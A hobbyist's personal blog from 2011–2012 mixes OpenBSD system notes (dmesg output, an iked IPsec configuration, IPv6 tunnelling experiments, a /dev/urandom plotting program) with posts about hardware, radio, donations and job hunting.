zsc0 at macobio0 offset 0x13000: irq 22,50
zstty0 at zsc0 channel 0
zstty1 at zsc0 channel 1
"timer" at macobio0 offset 0x15000 not configured
adb0 at macobio0 offset 0x16000 irq 25: via-pmu, 0 targets
apm0 at adb0: battery flags 0x9, 0% charged
kiic1 at macobio0 offset 0x18000
iic1 at kiic1
wdc0 at macobio0 offset 0x1f000 irq 19: DMA
wd0 at wdc0 channel 0 drive 0:
wd0: 16-sector PIO, LBA, 19623MB, 40188960 sectors
atapiscsi0 at wdc0 channel 0 drive 1
scsibus0 at atapiscsi0: 2 targets
cd0 at scsibus0 targ 0 lun 0: ATAPI 5/cdrom re
movable
wd0(wdc0:0:0): using PIO mode 4, DMA mode 2, Ultra-DMA mode 2
cd0(wdc0:0:1): using PIO mode 4, DMA mode 2, Ultra-DMA mode 2
wdc1 at macobio0 offset 0x20000 irq 20: DMA
wdc2 at macobio0 offset 0x21000 irq 21: DMA
ohci0 at pci1 dev 24 function 0 "Apple USB" rev 0x00: irq 27, version 1.0
ohci1 at pci1 dev 25 function 0 "Apple USB" rev 0x00: irq 28, version 1.0
"TI TSB12LV26 FireWire" rev 0x00 at pci1 dev 26 function 0 not configured
usb0 at ohci0: USB revision 1.0
uhub0 at usb0 "Apple OHCI root hub" rev 1.00/1.00 addr 1
usb1 at ohci1: USB revision 1.0
uhub1 at usb1 "Apple OHCI root hub" rev 1.00/1.00 addr 1
mpcpcibr2 at mainbus0 pci: uni-north, Revision 0x16
pci2 at mpcpcibr2 bus 0
pchb2 at pci2 dev 11 function 0 "Apple Uni-N Eth" rev 0x00
gem0 at pci2 dev 15 function 0 "Apple Uni-N GMAC" rev 0x01: irq 41, address 00:3
0:65:a1:ec:a6
lxtphy0 at gem0 phy 0: LXT971 10/100 PHY, rev. 1
vscsi0 at root
scsibus1 at vscsi0: 256 targets
softraid0 at root
scsibus2 at softraid0: 256 targets
bootpath: /pci@f2000000/mac-io@17/ata-4@1f000/disk@0:/bsd
root on wd0a swap on wd0b dump on wd0b
My C Primer hits 10,000 views
November 22nd, 2011
The C primer I wrote
(with corrections from other guys) has hit 10,000 views.
It's very popular on the Internet it seems. I thank you for the views if you
visited it, and I hope you were not dissapointed. My goal is to make newbies
able to write input and output of data with the C programming language. I
don't know if I succeeded, but I got a thank you for this before.
mars loses harddrive, new SSD ordered
November 25th, 2011
Mars died with a uncorrectable data error in the harddrive. I made backups
from it and I'm going to build what this guy did:
SSD in a powermac G4 Cube.
It cost 147 euros for the card and the adapter and I hope it'll work out. The
positive thing is that I can reuse the SSD if I don't like mars anymore.
Hacking on Natally again
November 29th, 2011
I'm back hacking on Natally.
This time I want to put in routines for NAT for IPv6. Basically I want to
give my network a ULA block and then use the IPv6's on my VPS which do a "redirect" back. All
this because Hetzner Online doesn't allow extra "true" V6 /64's for VPS
customers, we just get 1 which have to be bound on the external interface or
we get no routing. So this is where natally comes in. I'm doing this too
because I don't know how long the sixxs.net tunnel at my provider will last.
I heard they have a pilot project to get native v6 already without tunnels
so perhaps one day the tunnelling will cease and I might lose my v6 block.
Also VDSL is rolled out but not at my provider so I may want to switch one
day. We'll see.
mars is back
December 5th, 2011
Well I finally was able to put the SSD in mars. Here's a clip from the
dmesg as that's all that's changed:
$ dmesg|grep wd0
wd0 at wdc0 channel 0 drive 0:
wd0: 16-sector PIO, LBA48, 61057MB, 125045424 sectors
wd0(wdc0:0:0): using PIO mode 4, DMA mode 2, Ultra-DMA mode 2
root on wd0a swap on wd0b dump on wd0b
The speed is pretty nice. I can upload to the box at 5MB/s and reading
and writing files is somewhere between 15 and 18 MB/s. And the best
thing about the G4 Cube is now that it's soooo purring quiet (minus the
purring).
Sample IPv6 traceroute through Natally
December 7th, 2011
I have set it up so that Natally which is run on a Linux VPS tunnels for an
OpenBSD client. Here is a demonstration:
# sh run
opened tun0 for communications
# ifconfig tun0
tun0: flags=51 mtu 1500
priority: 0
groups: tun
status: active
inet6 fd00:1000::1 -> prefixlen 64
# host www.v6.facebook.com
www.v6.facebook.com has IPv6 address 2620:0:1cfe:face:b00c::3
# route add -inet6 2620:0:1cfe:face:b00c::3 fd00:1000::2
add host 2620:0:1cfe:face:b00c::3: gateway fd00:1000::2
# traceroute6 www.v6.facebook.com
traceroute6 to www.v6.facebook.com (2620:0:1cfe:face:b00c::3) from 2001:a60:f074::30, 64 hops max, 12 byte packets
1 * * *
2 2a01:4f8:d13:6::1 20.055 ms 14.481 ms 11.987 ms
3 2a01:4f8:0:d0:4:0:10:2 29.143 ms hos-tr2.juniper1.rz10.hetzner.de 20.25 ms 2a01:4f8:0:d0:3:0:10:2 26.594 ms
4 hos-bb1.juniper4.ffm.hetzner.de 15.75 ms 15.841 ms 16.297 ms
5 20gigabitethernet4-3.core1.fra1.he.net 17.108 ms 17.924 ms 18.068 ms
6 10gigabitethernet5-3.core1.lon1.he.net 35.179 ms 40.085 ms 31.783 ms
7 10gigabitethernet7-4.core1.nyc4.he.net 104.398 ms 104.567 ms 99.631 ms
8 10gigabitethernet2-3.core1.ash1.he.net 103.884 ms 106.854 ms 103.058 ms
9 2001:470:0:1bf::2 104.096 ms 104.525 ms 104.519 ms
10 ae2.bb01.iad1.tfbnw.net 104.524 ms 104.846 ms ae1.bb02.iad1.tfbnw.net 104.712 ms
11 ae14.bb01.sjc1.tfbnw.net 165.751 ms ae12.bb02.sjc1.tfbnw.net 165.193 ms 168.688 ms
12 ae2.pr01.sjc1.tfbnw.net 165.496 ms 165.883 ms ae0.pr01.sjc1.tfbnw.net 166.808 ms
13 * *^C
As you can see the first hop is through Hetzner Online (20 ms latency due to
my DSL) which is my VPS provider. I still have ideas for Natally in v6 mode
so stay tuned.
2011, a look back
December 10th, 2011
Last year we did the "look back" on December 10th as well so here is a sum up
for this year that passed (hard to believe 2011 is almost over)...
January 4th - Received the Lanner FW 7530B per parcel
January 21st - 1st mention of SVP Radio
January 31st - quit the proteus VPS and transfer of solarscale.de to joker.com
February 2nd - CKLN my favourite radio station at the time has until Feb. 12
to shut down..
February 4th - got a DSL upgrade (contract for 2 years) 18 Mbps down/ 1Mbps up
February 18th - did clock.centroid.eu IPv6 traceroute faker with time display
March 12th - first mention of Fukushima nuclear powerplant meltdown
April 17th - CKLN 88.1 goes off air
April 19th - Wildcarddnsd at BETA_6
April 26th - Demonstration against nuclear power
April 29th - Upgraded to OpenBSD 4.9
May 8th - Ordered two books on PHP
May 19th - Stargate Universe (SGU) show is over and will be missed...
May 20th - found a bug in dspam which is used at one work of mine
May 21st - 1 to 4 documentary on Hip-Hop in Toronto featured
May 27th - I'm back working, for 1.5 euros an hour (no minimum wage)
June 2nd - cleaned heatsink and reduced CPU temperature article
June 5th - bought a book on Windows System programming
June 13th - source code to exploit to crash Speedport W303V Type A router
June 25th - my second windows program
July 22nd - Space Shuttle Atlantis does its final landing
July 30th - upgraded my dads macbook to OS X Lion
August 5th - turned on comments on this blog
August 6th - got a new VOIP phone (Grandstream GXP 2100)
August 7th - showcase of SVPRadio with pictures from the Compudoc
August 10th - 1/6 of my Internet traffic is over IPv6
September 3rd - Free Bradley Manning (billboard sighted in Kansas City)
September 17th - Wildcarddnsd does passive AXFR now
September 28th - first draft of Wildcarddnsd Handbook written
October 2nd - Our blackbirds are observed to be reduced in numbers
October 4th - Business cards for EuroBSDCon 2011
October 10th - Photos from EuroBSDCon 2011
October 13th - Dennis Ritchie, father of C and UNIX dies
October 26th - the world reaches 7 billion humans
November 1st - OpenBSD 5.0 Released
November 4th - uranus upgraded to OpenBSD 5.0
November 7th - got a new VPS from Hetzner Online, this one is io.solarscale.de
November 11th - upgraded anti-virus
November 15th - donated 25 euros to wikipedia
November 17th - BIND 9.8.1-P1 is released fixing a nasty bug
November 21st - netbooting OpenBSD/macppc
December 5th - mars.centroid.eu (OpenBSD/macppc) is back with a new SSD drive
December 7th - Natally does IPv6 redirects now (sorta like NAT but not PAT)
This year was a very good year for me. Hoping to make it even better in
2012!
Natally enables IPv6 on my parents computer Neptun
December 11th, 2011
I finished porting the changes I've made to the openbsd client for natally to
Linux. On my parents computer then I'm able to do:
root@neptun:/etc# ping6 ipv6.google.com
PING ipv6.google.com(bw-in-x69.1e100.net) 56 data bytes
64 bytes from bw-in-x69.1e100.net: icmp_seq=1 ttl=53 time=81.6 ms
64 bytes from bw-in-x69.1e100.net: icmp_seq=2 ttl=53 time=80.2 ms
^C
--- ipv6.google.com ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1000ms
rtt min/avg/max/mdev = 80.248/80.927/81.607/0.736 ms
Among google facebook also works over IPv6 (www.v6.facebook.com). I'm very
happy that natally works the way I planned for it. In the future though I'M
going to make some routing code changes with it... stay tuned for that.
Solstice in 5 days
December 17th, 2011
Once again the solstice is upon us. For northern people like me, it's the
winter-solstice. For southeners like Australians the summer solstice is
approaching. This solstice
according to wikipedia is on the 22nd of December.
Merry Christmas and Happy Solstice!
December 22nd, 2011
Well Christmas isn't around truely yet, but I'm sure Maria felt something by
now, those 2000 some odd years ago. I want to wish you a happy solstice today
and you may not know this the solstice is for me christmas and new years in
one. But I do honor the christian tradition too and we don't open our presents
until the 24th (24th is german tradition to open presents on xmas eve).
Throwing out the productions of 2011
December 22th, 2011
Early this year (sometime in april or so) I made 2 shows for SVP Radio which
have never been broadcasted. They deal with OpenBSD and have all songs by
OpenBSD on them. I DJ these songs together in a random order. If you're
interested in listening to my mediocre voice and good OpenBSD songs then
go ahead. Free 2 hour listening.
The shows are up to date until OpenBSD 4.8 song. The rest of the songs you
can find at OpenBSD.
Thanks to OpenBSD for the songs!
Goodbye Facebook
December 23th, 2011
I finally left Facebook. I never really needed it. And hopefully all my
friends who facebook said will miss me, will actually miss me. If they
leave facebook I'll be there on old methods like email.
Donation to the Pirates
December 27th, 2011
Yesterday I was systematically going through the website of the Pirate Party
of Germany. At first I was a little shy about them, now I think they are
my party. The good thing is that you can vote for them twice. Once with your
money and once with your vote. I donated 10 euros to them which I will
money transfer to them tomorrow. For all those that use computers and internet
as much as I do and aren't convinced they are _the_ party to vote I urge you
to look at the politics section of their website and make up your own mind.
Invest 40 minutes which I did to really take a look at the program. Sure there
is some things missing like defence and finances as well as foreign relations
but their priority number 1 for politics is to make the Internet political
topic number 1. I don't expect them to win the elections but if they get into
parliament it would be grand considering I vote for them.
Added a bit of Javascript
December 28th, 2011
As you can probably tell this site has been getting a bit of javascript
and HTML5 improvements. I'm dabbling here and there with my book I got
a while ago. One noticeable change on this blog is that the ads on the
top will get reloaded every minute to a new one. You can see what ads
there are by reading the page source. Cheers!
Turning off WPS
January 1st, 2012
According to this article (german) and
a CERT advisory the key
to a WPA2 network can be broken within 11,000 tries. In computers 11,000 tries
isn't much.
I've found and turned off WPS on my parents problematic Speedport W303V Type A
router which had it set in the pushbutton method by default. Now it's off.
At home I don't use Wifi so that's safe (I have cat5 cable everywhere though).
Happy New Year 2012 everyone.
470:1 where my money goes...
January 2nd, 2012
Wikimedia has broken
off the fundraiser. 1 million donors donated on average 20 dollars for the
470 million visitors that wikipedia gets. My contribution (25 euros) was
slightly above average then, I'll keep that in mind for next year. If you
donated, congratulations you too support 470 others on wikipedia.
New Comment System
January 6th, 2012
I've put up a new commenting system and fixed the io.solarscale.de instance
for commenting. Hopefully this is useful.
Setting up iked on OpenBSD (my story)
January 9th, 2012
I have two hosts. One is a vmware workstation vm called dione. The other is
an OpenBSD/macppc G4 Cube called mars. Both are seperated by a router called
uranus. In ascii it looks a little like this:
+---------+ +---------+ +---------+
| dione }----------------{ uranus }---------------{ mars |
+---------+ +---------+ +---------+
2001:a60:f074::30 X 2001:a60:f074:5::2
I want to encrypt communication with IPsec between these two hosts. Here
is what my config (/etc/iked.conf) looks like on dione:
dione# grep -v ^# iked.conf
ikev2 active esp from 2001:a60:f074::30 to 2001:a60:f074:5::2 srcid "2001:a60:f0
74::30" dstid "2001:a60:f074:5::2" psk "swearword!"
Here is what my config (/etc/iked.conf) looks like on mars:
# grep -v ^# /etc/iked.conf
ikev2 active esp from 2001:a60:f074:5::2 to 2001:a60:f074::30 srcid "2001:a60:f0
74:5::2" dstid "2001:a60:f074::30" psk "swearword!"
I also set up the following commands on dione in reference to the ikectl
manual page:
dione# ikectl ca vpn create
dione# ikectl ca vpn certificate 2001:a60:f074::30 create
dione# ikectl ca vpn certificate 2001:a60:f074:5::2 create
dione# ikectl ca vpn install
dione# ikectl ca vpn certificate 2001:a60:f074::30 install
dione# ikectl ca vpn certificate 2001:a60:f074:5::2 export
dione# scp 2001_a60_f074_5__2.tgz mars:.
mars# tar -C /etc/iked -xzpf 2001_a60_f074_5__2.tgz
Then I started /sbin/iked on both machines and typed:
dione# ipsecctl -sall
FLOWS:
flow esp in from 2001:a60:f074:5::2 to 2001:a60:f074::30 peer 2001:a60:f074:5::2
srcid IPV6/2001:a60:f074::30 dstid IPV6/2001:a60:f074:5::2 type use
flow esp out from 2001:a60:f074::30 to 2001:a60:f074:5::2 peer 2001:a60:f074:5::
2 srcid IPV6/2001:a60:f074::30 dstid IPV6/2001:a60:f074:5::2 type require
SAD:
esp tunnel from 2001:a60:f074:5::2 to 2001:a60:f074::30 spi 0x1ee7655a auth hmac
-sha2-256 enc aes-256
esp tunnel from 2001:a60:f074::30 to 2001:a60:f074:5::2 spi 0xa0f22d34 auth hmac
-sha2-256 enc aes-256
Also tcpdumping shows that the traffic is encrypted:
If that procedure doesn't work for you I also copied the .pub key of each
respective hosts and stuck them into /etc/iked/pubkeys/ but I doubt that
made a diff.
Have a lot of fun (I only wasted 4 hours on this).
Another thing worth mentioning is that the certificates created are
self-signed. Iked as of 20120109 does not support self signed certificates
so the PSK method seems to be the only way.
Suggestions on how to better this always welcome.
2.97 euros for Jamaica (iTunes)
January 14th, 2012
Today I bought 5 songs off iTunes. 3 songs hail from Jamaica with the
artists Chuck Fender, Movado and Fantan Mojah who I have heard on Youtube
long enough to warrant putting some money in their pocketses. The other
two songs are from Stratford, Ontario artist Nukky Grissom who was featured
on SVPRadio last week. Good stuff. I lived in Stratford for 7 years so
I know what he talks about in his songs (especially Small Town which was one
that I bought). I can relate. I'm overall happy with the purchase.
FreeBSD 9.0 Released and PC-BSD 9.0 Released
January 15th, 2012
The wait is finally over! FreeBSD released its version 9.0 a few days ago and
dedicated it to Dennis Ritchie. Here is the 9.0 Release announcement.
Also PC-BSD (which is forked from FreeBSD) released it's 9.0 version.
Here is the
release pages from its blog.
Removed web mirror on uranus.centroid.eu
January 18th, 2012
You may not have known it but uranus.centroid.eu was serving this blog for
well over a year. I have now killed the rsync job and erased the mirror.
Uranus will do other tasks in the future, stuff I don't want to go into
just yet. Here is an mrtg yearly graph that I was hosting on uranus that
doesn't run anymore.
As you can see uranus did quite a bit of traffic every month. (about 15GB
per month on average). If you used to go to uranus.centroid.eu to get
whatever you can still get it on ipv4.goldflipper.net for the time being.
My dream Smartphone (Computer)
January 27th, 2012
My dream smartphone would be small like an iphone. It would have USB ports
for keyboard and mouse and perhaps a VGA port for external monitor. It
would be running OpenBSD without locking or restrictions. What's really
important to me is that I can program the OS on this phone. The phone
functions can be proprietary without source code but they must be installed
in a way that it allows the rest of the system to function with it. Perhaps
an asterisk server built-in so that it can do programmable voice mail or
something. There wouldn't be a harddrive in the phone but rather an SSD.
What's really important to me is that I can develop applications on the
phone for the phone, and not have to buy a proprietary laptop to use some
application which is the only one that can do so. It may have a GPS and/or
Galileo/Glonass/whatever geopositioning chip in it. But this should be
readable by an open driver on OpenBSD and through an ioctl into userland or
something. I want to make use of the Geolocation too. It should have
Wifi and bluetooth and if I want to allow tethering I should be able to
program it in. I should be able to compile the kernel on this smartphone
and run that instead. Really. I really want this to be MY phone not
THEIR phone that I am allowed to use. Currently I have no cell phone at all
because what I just described doesn't exist. Hmm how much would I pay for
what I just described? Perhaps 400 euros at max.
Wildcarddnsd fixed on big-endian machines?
January 28th, 2012
Ever since I resurrected my G4 Cube and put OpenBSD on it I was dying to
know if wildcarddnsd works on this platform. I copied uranus's configs
to it (it's called mars) and ran a few queries. It was then a surprise
a few weeks later that I tried an AXFR and it came back as a hexdump in
dig. Not good. With gdb then I finally found out what caused the mangled
packet, the nameserver and responsible person fields were of length zero,
and were skipped in the SOA answer. I traced this to an integer overflow
right at program start at the config file parser. Well I fixed this now
in HEAD yesterday and in the upcoming release for BETA7 it will be working
on big endian machines.
I also tried compiling wildcarddnsd on OpenBSD/amd64 5.1-beta and got a
compiler warning. A nice developer helped me out and a second pointed to
another
possible problem. So I have the fix for silencing this compiler warning
but I haven't committed it yet. I want to play with this a little first
before I do so I know that it doesn't cause any problems.
Change is in the air
February 2nd, 2012
I've done some changes and I'm planning to do more changes. What I've done is
I increased my BOINC load from 1 core (25%) to 2 cores (50%). It will run
like this until May.
Why? What's in May?
Well, that is when OpenBSD 5.1
comes out and I've decided I'm going to make OpenBSD 5.1 my host operating
system. No more vmware, it won't run on it. Also it may mean no more BOINC
so that's why I'm doubling the load now to leave them with something. Also
means no more windows 7 vm, and the other vm's that run FreeBSD and NetBSD
I'll have to switch over to QEMU. What I'll do is get a new backup harddrive
and start converting vmware containers to a format that I can play it back
on QEMU. Much of what prompted me to design this thought is that youtube now
works with an OpenBSD browser. This makes OpenBSD ready for the desktop for
me. And it's not the first time I ran OpenBSD as a desktop, it's just that
I had a breather.
Information and its exchange
February 13th, 2012
What is information? It's data. It's written symbols or spoken words that
are encoded/recorded somehow. In the 80's when I was a child we had several
means of getting information. We could buy books. We could buy a vinyl record
or a cassette tape. Information intended for the masses was spread by radio
and television. Usually the radio stations were government run or were
independent private radio stations that were approved by government who listened
like owls for any "message" that did not fit a strict guideline. If someone
disregarded these guidelines (like saying F.U.C.K. on-air) would get penalized
or even turned off completely.
So what if you wanted a more relaxed medium to listen to? Well what we did
in the early 90's was share cassette tapes with
spoken word over music (hip-hop). The drawback was that you had to make a
master copy and copy from it because every time you copied the analog signal
on the tape would get ever so distorted. Also with more usage the tape would
get worn. It was fairly frustrating. When I then attended College for
computing engineering technology I was told that digital is a cheap way of
exchanging information. The digital circuitry didn't care if the voltage was
0.5 volts off what it really was, which meant you could now share the SAME
data over a medium that would have been impossible if it was over analog.
Digital communication meant that every time you did a copy of a copy of a
copy the data would not degrade in quality.
So then eventually the Internet became popular and spread. First it was
slow and the information exchange was probably in 8 bit ascii (e-mail, usenet)
which was fine for a 28.8 Kbps analog modem. Then came the DSL revolution.
ISP's who established themselves from BBS's were bought out or were forced
out of business as the Telco companies once again dominated in the Information
exchange. But how that went down is irrelevant, what is more important is
that Information exchanged could now be sounds as in music and it could be
spread en-masse. Formats such as podcasts came. Podcasts are large MP3
files that are stored on a server and can be downloaded via a server or a
bittorrent network for people to listen to a message.
So now we have a problem. Someones information is copyrighted, this means
that they wish to make money off the message. In the 80's this was easy
they'd get a distributor who printed records and people bought this in the
store and took it home. They did not worry about piracy because if people
wanted to spread the information the message would be distorted after so
many copies. Today in the 2010's the message can be mass-spread with no
quality degragation. The powers that used to make a good buck off the
80's method are now out of business or on the verge of. At the same time
we've never had a better way of spreading information on a personal level
than now. I can send a song to all my friends at fair quality. We've
been liberated by the Internet. And as a closing statement any attempt to
take quality sound reproduction from us is sheer censorship. The thought
has already been planted that we can do this, we're not talking about what
if's anymore.
We're not out to do harm, and we know that this is just a step between
now and then. What's next is anyones guess but the Internet keeps changing
us. We learn, and the Internet is the teacher. We are transitioning. We
are as curious what's next as the next one. Some people fear change because
it uproots their previous power structure. But let me ask you in all honesty
is it not fair to give everyone the same outlet as an elite bunch once had?
This is what (r)evolution is about and we are still evolving. One more
observance is that we're becoming more seclusive in our own homes due to the
Internet. This takes away some of our unity, that's the drawback. We don't
need laws like ACTA to draw us further back.
Sticker time!
February 13th, 2012
I opened my OpenBSD 5.0 CD set today. I was going to give it away/trade it
away but noone was interested. 90 days on offer went past and so I opened
it today. I put the stickers on mars and saturn.
I think it looks stunningly good. Mars has a lot of goo over it from previous
OpenBSD 3.0 stickers that were on its casing that were removed for a bit, but
the goo didn't disappear. Just goes to show you going with OpenBSD is a one
way street :-).
Jupiter and Venus really bright
February 19th, 2012
Today I saw Jupiter and Venus really bright in the South-West-Western sky.
I couldn't take a photo but I got a clip of xephem for the memories. Jupiter
is in Aries and Venus is in Pisces, and Uranus in Pisces too but it can't be
seen with the naked eye.
100+ Euros donations to some *BSD's
February 26th, 2012
The Marakesh Express came through. Just Kidding! I donated 50 euros to
the OpenBSD project and 57 Euros (75 dollars) to the FreeBSD Project.
I use both Operating Systems at home and at work and am very satisfied with
both projects and their individual directions. I'm still looking to purchase
OpenBSD 5.1 when it's up for preorders, so this is a big spend!
article test
February 27th, 2012
When searching some articles appeared duplicate, with one not having content.
This should fix that.
Free the General
February 29th, 2012
If you follow Reggae Music you may have heard that
Buju Banton
was jailed.
For a long time I have carried these words with me and I don't know if I
shared them yet, but the resistor codes in electronics stand for:
Buju Banton, Rasta Of Young Generation, Became Victorious, Glorious & Wise
following this is the Electronic Resistor Codes as taught by Canadian
Colleges.
I know Buju Banton is a resistor! Hang in there sir! Free Buju Banton!
Looking for work
March 2nd, 2012
I got notice today that I won't get a contract extension come April 30th, of
this year. So I'm looking for work again starting May 1st, 2012. I'm willing
to do remote sysadmin work for *NIX systems and/or programming on *NIX systems.
Why remote? Because I'm unwilling to move away from my family and they never
heard of *NIX around here (it seems). Please have a look at my
resume. If you know
of companies hiring remote employees it would be nice if you let me know.
Due to health issues I'm only able to work 20 to 30 hours weekly max.
OpenBSD pre-orders are up!
March 14th, 2012
I just pre-ordered my 5.1 CD set from
OpenBSD Europe. Here is the
OpenBSD 5.1 Release page, it's a work in progress. The artwork and
lyrics for the song are out but I haven't heard the song yet, I can't
download it for some reason. Oh well in due time. This time the theme
of OpenBSD seems to be Ghostbusters. Only they are Bugbusters. If memory
of cartoons serves me right Ghostbusters had a pet ghost called slimey or
slimer...guess the OpenBSD team have a pet bug called ... I dunno.
Equinox in 5 days
March 15th, 2012
Equinox is a terrestrial
event. It is on this day that the earth's equator is exactly aligned with the
sun in a perpendicular fashion. Read more about equinox in the previous
mentioned link.
Bought Saturn (ACER Aspire One)
March 16th, 2012
It's my birthday. I bought an Acer Aspire One 722 for my family and me. It has
4 GB of RAM and an AMD processor (C-60 1 GHz, 1 MB L2 Cache). I named it
saturn. It'll be running windows 7 for a while until next year perhaps when
I give it a facelift. Guess what OS I have in mind for it? :-).
Checking Randomness on Debian
March 23rd, 2012
I noticed that /dev/*random on Debian and Ubuntu were mode 666. I found a
bug report about this too in the debian archives. But I wasn't convinced
to prove a point you have to do some work. So I remembered
this article on XOR encryption and I thought it could help
me with my randomness plotting as well. If there is a pattern I'll see it.
Basically randomness should be evenly spread out in a X,Y,Z plot.
So I wrote the program to get the random data from Debian but I first write
a string to its /dev/urandom before waiting 10 seconds and reading 512
bytes, here is the program for this:
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
int
main(void)
{
char buf[512];
char *string = "OrpheanBeholdersCryDoubt!";
int len;
int fd, output;
fd = open("/dev/urandom", O_RDWR, 0);
if (fd < 0) {
perror("open");
exit(1);
}
len = write(fd, string, strlen(string));
if (len < 0) {
perror("write");
exit(1);
}
sleep(10);
output = open("cryptfile", O_APPEND | O_CREAT | O_WRONLY, 0644);
if (output < 0) {
perror("open");
exit(1);
}
len = read(fd, buf, sizeof(buf));
if (len <= 0) {
perror("read");
exit(1);
}
if (write(output, buf, len) < 0) {
perror("write 2");
exit(1);
}
close(fd);
close(output);
exit(0);
}
On OpenBSD then I did the same program with the write to the device disabled
since its permissions are mode 644. The data I gathered I then put through
another program that looks like this:
The instructions on the math involved I got from the article I mentioned
above.
I then ran it through gnuplot with the data by calling splot, like so:
gnuplot> splot 'cplot.dat'
And here is the graphs this produced:
OpenBSD (above)
Debian with write to /dev/urandom (above)
All in all this was a very educational event for me, I hope you like the
article too!
Remember the Venus Glider?
March 24th, 2012
A long time ago, the centroid.eu blog featured my idea of a venus glider.
It's not even in the archives anymore but I wanted to touch on the idea
again. Basically the planet venus rotates very slowly around its axis.
This makes a glider possible that can loiter around the terminator
(line between night and day) of venus. It could have payloads such as
radar and UV and IR spectrometers. It would likely be somewhat high in
the atmosphere due to the atmospheric pressure and more updraft higher
in the atmosphere. It may even have a backup propeller that is foldable
into its fuselage, this is when mistakes are made in catching sufficient
thermals. Solarpanels that are embedded in the wing area can then
recharge the batteries when the glider is high above the clouds and on
the day side. One good thing about a glider that is falling on venus is
that the atmosphere becomes so dense that its rate of descent will slow
as it gets lower towards the surface. This
venus glider would not be
carrying astronauts but rather be entirely electronically and computer
driven.
Who watches the watchers?
March 28th, 2012
I did a whois of my brothers domain:
dione$ whois skpegasus.ca|more
Domain name: skpegasus.ca
Domain status: registered
Creation date: 2011/10/23
Expiry date: 2013/10/23
Updated date: 2011/10/25
Registrar:
Name: DomainsAtCost Corp.
Number: 45
Name servers:
uranus.centroid.eu
cirabug.goldflipper.net
% WHOIS look-up made at 2012-03-28 10:06:26 (GMT)
%
% Use of CIRA's WHOIS service is governed by the Terms of Use in its Legal
% Notice, available at http://www.cira.ca/legal-notice/?lang=en
%
% (c) 2010 Canadian Internet Registration Authority, (http://www.cira.ca/)
I was shocked to see a lookup stemming from a CIRA contractor of this domain
in my DNS logs. Apparently I must have tripped a wire with the innocent
WHOIS lookup. Here is the log. Notice the lookup from viagenie came 2 hours
after my initial WHOIS, so they do follow up on domains that are logged.
Mar 28 14:42:05 uranus wildcarddnsd[23167]: request on descriptor 21 interface
"em0" from 206.123.31.9 (ttl=49, region=255) for "www.skpegasus.ca." type=A(1)
class=1, answering "www.skpegasus.ca."
I'm thinking of expiring the .ca domain as my brother is too internet illiterate
to make use of it. It's basically just sitting there taking in mails from
spammers.
Interesting findings about older Airport Express Access Points
March 30th, 2012
My parents use an Apple Express AP for a print-server on their NAT'ed
network at Deutsche Telekom. I configured this access point to have the
domain name as "centroid.eu" and I noticed in my DNS logs that occasionally
the access point would "search" for the time server called
"time.euro.apple.com.centroid.eu" , here is a log:
Jan 8 15:00:49 uranus wildcarddnsd[14573]: request on descriptor 85 interface
"gif0" from 2003:180:2:7000:53:1:6:1 (ttl=0, region=255) for
"time.euro.apple.com.centroid.eu." type=AAAA(28) class=1, answering "NXDOMAIN"
So today I wanted to play. I wanted to find out if I can reveal the IPv4-only
network of my parents. So I mapped the AAAA RR of
time.euro.apple.com.centroid.eu to ::ffff:1.2.3.4 where 1.2.3.4 is really the
address of uranus.centroid.eu my home server. Here is how it looks like:
;; QUESTION SECTION:
;time.euro.apple.com.centroid.eu. IN AAAA
;; ANSWER SECTION:
time.euro.apple.com.centroid.eu. 86400 IN AAAA ::ffff:212.114.251.91
My hope was that the AP would try to connect to the NTP port of uranus and
thus be logged by my firewall. And guess what?
tcpdump: WARNING: snaplen raised from 116 to 160
13:10:49.833022 84.170.XXX.XXX.1052 > 212.114.251.91.123: v1 client strat 0 poll
+0 prec 0 dist 0.000000 disp 0.000000 ref (unspec)@0.000000000 orig 0.000000000
+[|ntp] (ttl 56, id 118, len 76)
And it reveals the IP of the NAT gateway of my parents. (I XXX'ed stuff out
to protect the innocent). Now I wonder what I can do with this or how this
can be maliciously used. Obviously putting the domain name cia.gov into an
apple access point is NOT a good idea if you want your privacy, not even as
a joke, because I've proven now that they'll find out who you are.
Exclusive view of my workbench
March 31st, 2012
I know it's a little dusty...here is my home workbench.
Below is the lanner that I bought last year January other than a little
dust it looks marvelous to me.
all ports used up so far.
SVPRadio - One Year Anniversary
April 4th, 2012
Today marks the one year anniversary of
SVPRadio, Stratford, Ontario's
underground radio station. It streams from 6PM to 12 Midnight every
wednesdays to people who can receive online radio. I have been given
some inside photos of the studio and people involved.
It was a little over a year that we came together and decided to
stream a radio format. With the guidance of DJ Jaz and help from a whole
bunch of DJ's they made an entertaining wednesday every week for 52 shows
so far.
I personally listened to every show that was streamed and was delighted
every time. Everytime there was something new on at least one or two
shows.
Congratulations to SVPradio! And good luck on your second year!
I'm hoping to reach an excitement factor in the future with these.
Added a robots.txt file
April 8th, 2012
I want to see how much my traffic drops with this, this is what I got..
%more robots.txt
User-agent: *
Disallow: /blog/
in the future people can still reach my /private and /public folders through
google.
26 Years of Personal Computing History
April 18th, 2012
In a previous
article I listed all the computers I had, by now 2.5 years later 3 more have
been added.
Uranus,
Jupiter, and Saturn. I'm going to give a rough outline of them.
Hard to believe that 18 GB of RAM have been accumulated in all my computers.
In 2005 it was just 5 GB. Yup I'm spoiled and I'm worried about overspending.
One positive factor however is that the Atom and C-60 don't use up very much
electricity so I can keep them on overnight, and since Saturn (the C-60) is
running windows it goes into sleep mode after I close the lid of the netboook.
I haven't checked but I would assume the energy draw is little then.
Jupiter needed an operation
April 19th, 2012
Today I looked how hot Jupiter was and with horror I noticed the CPU was
at 81 degrees Celsius. A few more Centigrade and it would have turned itself
off from overheating. So I decided to clean the heatsink from dust again.
See here
. To my horror and after reseating the heatsink 4 times it didn't have
any cooling effect. So I had to go out and buy a new heatsink/cpu cooler.
I bought a Cooltek Coolforce 2.
I had to unmount the motherboard from its back-panel today to
install the new CPU heatsink/fan.
Before
After
To my suprise the CPU is now 25 degrees cooler and the CPU fan is not as fast
and loud. Very cool!
New Job, my first week
April 28th, 2012
I have switched jobs and I want to tell about it so far. I think it's an
awesome job because it's 100% remote. But like any office setup I have a
voice over IP (VOIP) phone where I stay in contact with the staff and it's
routed entirely over the Internet. The phone I had from before because I
had contracted (technically I'm still a contractor) from this company in the
past and back then we got the SIP Phone for me. The pay is sufficient for
me to move out of my 1 bedroom apartment and I'm eyeing January or February
of 2013 for the move. I'm hoping to get an apartment where I can dedicate
1 room to the office so that I can close the door at the end of the day.
My hours are spread more over the day since work is also in north america
